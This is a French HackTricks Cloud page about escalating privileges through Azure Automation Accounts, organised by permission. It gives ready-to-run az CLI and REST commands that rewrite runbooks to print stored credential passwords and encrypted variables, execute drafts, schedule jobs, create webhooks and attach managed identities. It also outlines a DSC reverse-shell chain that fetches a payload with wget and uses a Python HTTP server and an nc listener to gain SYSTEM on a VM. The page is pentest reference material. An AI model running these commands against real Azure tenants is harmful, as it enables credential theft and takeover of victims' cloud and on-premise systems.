Az - Azure Automation Accounts Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Azure Automation Accounts
Pour plus dâinformations, voir :
Hybrid Workers Group
- De lâAutomation Account vers la VM
Nâoubliez pas que si, dâune maniĂšre ou dâune autre, un attaquant peut exĂ©cuter un runbook arbitraire (code arbitraire) dans un hybrid worker, il pourra pivot vers lâemplacement de la VM. Cela peut ĂȘtre une machine on-premise, un VPC dâun cloud diffĂ©rent ou mĂȘme une Azure VM.
De plus, si le hybrid worker sâexĂ©cute dans Azure avec dâautres Managed Identities attachĂ©es, le runbook pourra accĂ©der Ă la managed identity du runbook et Ă toutes les managed identities de la VM via le metadata service.
Tip
Rappelez-vous que le metadata service a une URL différente (
http://169.254.169.254) du service depuis lequel on obtient le token des Managed Identities de lâAutomation Account (IDENTITY_ENDPOINT).
- De la VM vers lâAutomation Account
De plus, si quelquâun compromet une VM oĂč sâexĂ©cute un script dâAutomation Account, il pourra localiser les mĂ©tadonnĂ©es de lâAutomation Account et y accĂ©der depuis la VM pour obtenir des tokens pour les Managed Identities attachĂ©es Ă lâAutomation Account.
Comme on peut le voir dans lâimage suivante, en ayant un accĂšs Administrator sur la VM, il est possible de trouver dans les environment variables of the process lâURL et le secret permettant dâaccĂ©der au automation account metadata service :

Microsoft.Automation/automationAccounts/jobs/write, Microsoft.Automation/automationAccounts/runbooks/draft/write, Microsoft.Automation/automationAccounts/jobs/output/read, Microsoft.Automation/automationAccounts/runbooks/publish/action (Microsoft.Resources/subscriptions/resourcegroups/read, Microsoft.Automation/automationAccounts/runbooks/write)
En rĂ©sumĂ©, ces permissions permettent de crĂ©er, modifier et exĂ©cuter des Runbooks dans lâAutomation Account, ce que vous pouvez utiliser pour exĂ©cuter du code dans le contexte de lâAutomation Account, escalader les privilĂšges vers les Managed Identities assignĂ©es et leak des credentials et des encrypted variables stockĂ©s dans lâAutomation Account.
La permission Microsoft.Automation/automationAccounts/runbooks/draft/write permet de modifier le code dâun Runbook dans lâAutomation Account en utilisant :
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
Remarquez comment le script prĂ©cĂ©dent peut ĂȘtre utilisĂ© pour leak the useranmd and password dâun credential et la valeur dâune encrypted variable stockĂ©e dans lâAutomation Account.
La permission Microsoft.Automation/automationAccounts/runbooks/publish/action permet Ă lâutilisateur de publier un Runbook dans lâAutomation Account pour que les modifications soient appliquĂ©es :
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>
La permission Microsoft.Automation/automationAccounts/jobs/write permet Ă lâutilisateur dâexĂ©cuter un Runbook dans lâAutomation Account en utilisant :
az automation runbook start \
--automation-account-name <account-name> \
--resource-group <res-group> \
--name <runbook-name> \
[--run-on <name-hybrid-group>]
La permission Microsoft.Automation/automationAccounts/jobs/output/read permet Ă lâutilisateur de lire la sortie dâun job dans lâAutomation Account en utilisant :
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
Sâil nây a pas de Runbooks créés, ou si vous voulez en crĂ©er un nouveau, vous aurez besoin des permissions Microsoft.Resources/subscriptions/resourcegroups/read et Microsoft.Automation/automationAccounts/runbooks/write pour le faire en utilisant :
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
Microsoft.Automation/automationAccounts/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Cette permission permet Ă lâutilisateur dâassigner une user managed identity Ă lâAutomation Account en utilisant :
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
--headers "Content-Type=application/json" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
}
}
}'
Microsoft.Automation/automationAccounts/schedules/write, Microsoft.Automation/automationAccounts/jobSchedules/write
Avec lâautorisation Microsoft.Automation/automationAccounts/schedules/write, il est possible de crĂ©er un nouveau Schedule dans lâAutomation Account qui sâexĂ©cute toutes les 15 minutes (peu discret) en utilisant la commande suivante.
Notez que lâintervalle minimum pour un Schedule est de 15 minutes, et que lâheure de dĂ©but minimale est de 5 minutes dans le futur.
## For linux
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every minute" \
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
## Form macOS
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every 15 minutes" \
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15
Ensuite, avec lâautorisation Microsoft.Automation/automationAccounts/jobSchedules/write, il est possible dâaffecter un Scheduler Ă un runbook en utilisant :
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"runOn": "",
"runbook": {
"name": "<runbook-name>"
},
"schedule": {
"name": "<scheduler-name>>"
},
"parameters": {}
}
}'
Tip
Dans lâexemple prĂ©cĂ©dent, lâID jobchedule a Ă©tĂ© laissĂ© comme
b510808a-8fdc-4509-a115-12cfc3a2ad0dĂ titre dâexemple, mais vous devrez utiliser une valeur arbitraire pour crĂ©er cette assignation.
Microsoft.Automation/automationAccounts/webhooks/write
Avec lâautorisation Microsoft.Automation/automationAccounts/webhooks/write, il est possible de crĂ©er un nouveau Webhook pour un Runbook dans un Automation Account en utilisant lâune des commandes suivantes.
With Azure Powershell:
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
Avec AzureCLI et REST :
az rest --method put \
--uri "https://management.azure.com/subscriptions/<subscriptionID>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks/<webhook-name>?api-version=2015-10-31" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2027-12-31T23:59:59+00:00",
"runOn": "<worker name>",
"runbook": {
"name": "<runbook-name>"
}
}
}'
Ces commandes devraient retourner un webhook URI qui nâest affichĂ© quâĂ la crĂ©ation. Ensuite, pour appeler le runbook en utilisant le webhook URI
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
Microsoft.Automation/automationAccounts/runbooks/draft/write
Rien quâavec la permission Microsoft.Automation/automationAccounts/runbooks/draft/write il est possible de mettre Ă jour le code dâun Runbook sans le publier et de lâexĂ©cuter en utilisant les commandes suivantes.
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content 'echo "Hello World"'
# Run the unpublished code
## Indicate the name of the hybrid worker group in runOn to execute the runbook there
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
--headers "Content-Type=application/json" \
--body '{
"parameters": {},
"runOn": "",
"runtimeEnvironment": "PowerShell-5.1"
}'
# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"
Microsoft.Automation/automationAccounts/sourceControls/write, (Microsoft.Automation/automationAccounts/sourceControls/read)
Cette autorisation permet Ă lâutilisateur de configurer un contrĂŽle de version pour lâAutomation Account en utilisant une commande telle que la suivante (exemple avec Github) :
az automation source-control create \
--resource-group <res-group> \
--automation-account-name <automation-account-name> \
--name RemoteGithub \
--repo-url https://github.com/carlospolop/gh-runbooks.git \
--branch main \
--folder-path /runbooks/ \
--publish-runbook true \
--auto-sync \
--source-type GitHub \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
Cela importera automatiquement les runbooks depuis le dĂ©pĂŽt Github vers lâAutomation Account et, avec dâautres permissions pour commencer Ă les exĂ©cuter, il serait possible to escalate privileges.
De plus, souvenez-vous que pour que source control fonctionne dans les Automation Accounts il doit avoir une managed identity avec le rĂŽle Contributor et si câest une user managed identity le cleint id du MI doit ĂȘtre spĂ©cifiĂ© dans la variable AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID.
Tip
Notez quâil nâest pas possible de changer le repo URL dâun source control une fois quâil est créé.
Microsoft.Automation/automationAccounts/variables/write
Avec la permission Microsoft.Automation/automationAccounts/variables/write il est possible dâĂ©crire des variables dans lâAutomation Account en utilisant la commande suivante.
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
--headers "Content-Type=application/json" \
--body '{
"name": "<variable-name>",
"properties": {
"description": "",
"value": "\"<variable-value>\"",
"isEncrypted": false
}
}'
Environnements dâexĂ©cution personnalisĂ©s
Si un automation account utilise un custom runtime environment, il peut ĂȘtre possible dâĂ©craser un custom package du runtime avec du code malveillant (comme a backdoor). Ainsi, chaque fois quâun runbook utilisant ce custom runtime est exĂ©cutĂ© et charge le custom package, le code malveillant sera exĂ©cutĂ©.
Compromettre la configuration dâĂ©tat
Check the complete post in: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe
- Ătape 1 â CrĂ©er les fichiers
Fichiers requis : Deux scripts PowerShell sont nécessaires :
reverse_shell_config.ps1: un fichier Desired State Configuration (DSC) qui récupÚre et exécute le payload. Il est disponible sur GitHub.push_reverse_shell_config.ps1: un script pour publier la configuration sur la VM, disponible sur GitHub.
Personnalisation : Les variables et paramĂštres dans ces fichiers doivent ĂȘtre adaptĂ©s Ă lâenvironnement spĂ©cifique de lâutilisateur, y compris les noms de ressources, chemins de fichiers et identifiants de serveur/payload.
- Ătape 2 â Compresser le fichier de configuration
Le fichier reverse_shell_config.ps1 est compressĂ© dans une archive .zip, prĂȘt Ă ĂȘtre transfĂ©rĂ© vers lâAzure Storage Account.
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
- Ătape 3 â DĂ©finir le contexte de stockage et tĂ©lĂ©verser
Le fichier de configuration zippĂ© est tĂ©lĂ©versĂ© dans un conteneur Azure Storage prĂ©dĂ©fini, azure-pentest, en utilisant le cmdlet Set-AzStorageBlobContent dâAzure.
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
- Ătape 4 â PrĂ©parer la Kali Box
Le serveur Kali télécharge le payload RevPS.ps1 depuis un dépÎt GitHub.
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
Le script est modifié pour spécifier la Windows VM cible et le port du reverse shell.
- Step 5 â Publish Configuration File
Le fichier de configuration est exĂ©cutĂ©, entraĂźnant le dĂ©ploiement du script reverse-shell Ă lâemplacement spĂ©cifiĂ© sur la Windows VM.
- Step 6 â Host Payload and Setup Listener
Un Python SimpleHTTPServer est dĂ©marrĂ© pour hĂ©berger le payload, accompagnĂ© dâun listener Netcat pour capturer les connexions entrantes.
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
La tùche planifiée exécute le payload, obtenant des privilÚges au niveau SYSTEM.
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

